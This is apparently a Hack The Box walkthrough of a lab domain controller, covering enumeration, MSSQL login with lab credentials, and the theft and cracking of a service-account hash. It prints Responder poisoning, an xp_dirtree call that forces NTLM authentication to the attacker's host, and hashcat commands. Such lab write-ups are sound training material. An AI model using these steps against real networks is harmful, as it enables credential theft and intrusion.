fun box with some responder shenanigans and misconfigured ADCS. not bad if you follow the AD Mind Map
start off with nmap
┌──(kali㉿kali)-[~/htb/escape]
└─$ cat escapenmap
# Nmap 7.94SVN scan initiated Mon Mar 4 15:34:46 2024 as: nmap -p- -T5 -A -oN escapenmap -Pn 10.10.11.202
Nmap scan report for 10.10.11.202
Host is up (0.021s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-05 04:35:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2024-03-05T04:37:15+00:00; +7h59m59s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2024-03-05T04:37:15+00:00; +7h59m59s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-05T04:37:15+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-05T04:37:15+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49731/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s
| smb2-time:
| date: 2024-03-05T04:36:35
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 4 15:37:16 2024 -- 1 IP address (1 host up) scanned in 149.46 seconds
immediately notice normal DC ports open, nothing special at first glance. there's a time skew which will need to be addressed later if we want to do anything kerberos related
┌──(kali㉿kali)-[~/htb/escape]
└─$ sudo nmap 10.10.11.202 -sU
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-05 19:54 EST
Nmap scan report for sequel.htb (10.10.11.202)
Host is up (0.022s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
Nmap done: 1 IP address (1 host up) scanned in 10.41 seconds
nothing cool in UDP as well
next, added sequel.htb to /etc/hosts... note do not be lazy like me and actually add all of the dns results: sequel.htb -> dc.sequel.htb -> sequel -> dc
┌──(kali㉿kali)-[~/ligolo]
└─$ ldapsearch -H ldap://sequel.htb:389/ -x -s base -b '' "(objectClass=*)" "*" +
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: * +
#
#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=sequel,DC=htb
ldapServiceName: sequel.htb:dc$@SEQUEL.HTB
{*****SNIP*****}
enumerated ldap w/ anon auth, nothing interesting.
┌──(kali㉿kali)-[~/ligolo]
└─$ smbmap -H 10.10.11.202 -u 'imanidiot' -p ''
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.11.202:445 Name: sequel.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Public READ ONLY
SYSVOL NO ACCESS Logon server share
smbmap worked with null auth, showing an interesting "Public" share... let's check it out
┌──(kali㉿kali)-[~/ligolo]
└─$ smbmap -H 10.10.11.202 -u 'imanidiot' -p '' -r Public --depth 5
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.11.202:445 Name: sequel.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Public READ ONLY
./Public
dr--r--r-- 0 Sat Nov 19 06:51:25 2022 .
dr--r--r-- 0 Sat Nov 19 06:51:25 2022 ..
fr--r--r-- 49551 Sat Nov 19 06:51:25 2022 SQL Server Procedures.pdf
SYSVOL NO ACCESS Logon server share
enumerating the share with smbmap, we see a file named "SQL Server Procedures.pdf" we'll download that and check it out
at the end of the PDF, we are given our first set of creds:
PublicUser : GuestUserCantWrite1
let's see if they're worth a damn.. it's mentioned that this is for auth into SQL Server, so we will try to validate using mssqlclient
┌──(kali㉿kali)-[~/htb/escape]
└─$ impacket-mssqlclient sequel.htb/PublicUser:'GuestUserCantWrite1'@10.10.11.202
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (PublicUser guest@master)>
aaaaaand we are in...
after initial enum, nothing interesting showed up, so we pivoted towards trying to get a hash using responder from this limited mssql shell. on kali we run an smb server using responder
┌──(kali㉿kali)-[~/ligolo]
└─$ sudo responder -I tun0 -dwP
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [ON]
SMB server [ON]
{*****SNIP*****}
and then in the limited mssql instance, we run
SQL (PublicUser guest@master)> EXEC xp_dirtree '\\10.10.14.8\gotcha'
to connect back to our smb server, which...
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:389431609c6470d2:B2939534FC06110456975292CA4A2DD9:01010000000000008001BBC9866EDA01DA6CF671392261250000000002000800340055003100450001001E00570049004E002D005200330048004500340047004900530035003900380004003400570049004E002D00520033004800450034004700490053003500390038002E0034005500310045002E004C004F00430041004C000300140034005500310045002E004C004F00430041004C000500140034005500310045002E004C004F00430041004C00070008008001BBC9866EDA01060004000200000008003000300000000000000000000000003000007A4D51FFDDE416C834E8400EAF79035E41FF7AA2383CDBEEED63621A90EDA51C0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0038000000000000000000
[+] Exiting...
...worked like a charm :)
now we need to crack this hash, which will be -m 5600 in hashcat
┌──(kali㉿kali)-[~/htb/escape]
└─$ hashcat -m 5600 sqlyay.hash /usr/share/wordlists/rockyou.txt --show
SQL_SVC::sequel:389431609c6470d2:b2939534fc06110456975292ca4a2dd9:01010000000000008001bbc9866eda01da6cf671392261250000000002000800340055003100450001001e00570049004e002d005200330048004500340047004900530035003900380004003400570049004e002d00520033004800450034004700490053003500390038002e0034005500310045002e004c004f00430041004c000300140034005500310045002e004c004f00430041004c000500140034005500310045002e004c004f00430041004c00070008008001bbc9866eda01060004000200000008003000300000000000000000000000003000007a4d51ffdde416c834e8400eaf79035e41ff7aa2383cdbeeed63621a90eda51c0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000:REGGIE1234ronnie
we quickly are able to crack the hash and are given the password: REGGIE1234ronnie thus we have our second set of credentials:
sql_svc : REGGIE1234ronnie